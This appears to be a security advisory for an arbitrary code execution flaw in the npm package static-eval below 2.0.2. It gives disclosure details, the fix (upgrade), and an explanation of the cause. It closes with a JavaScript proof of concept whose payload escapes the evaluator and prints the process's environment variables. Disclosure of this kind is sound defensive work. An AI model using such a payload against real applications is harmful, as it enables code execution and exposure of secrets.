Arbitrary Code Execution Affecting static-eval Open this link in a new tab package, versions <2.0.2


0.0
high
  • Attack Complexity

    Low

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JS-STATICEVAL-173693

  • published

    14 Feb 2019

  • disclosed

    3 Jan 2019

  • credit

    Matias Lang

Introduced: 3 Jan 2019

CWE-94 Open this link in a new tab

How to fix?

Upgrade static-eval to version 2.0.2 or higher.

Overview

static-eval evaluates statically-analyzable expressions.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It passes untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));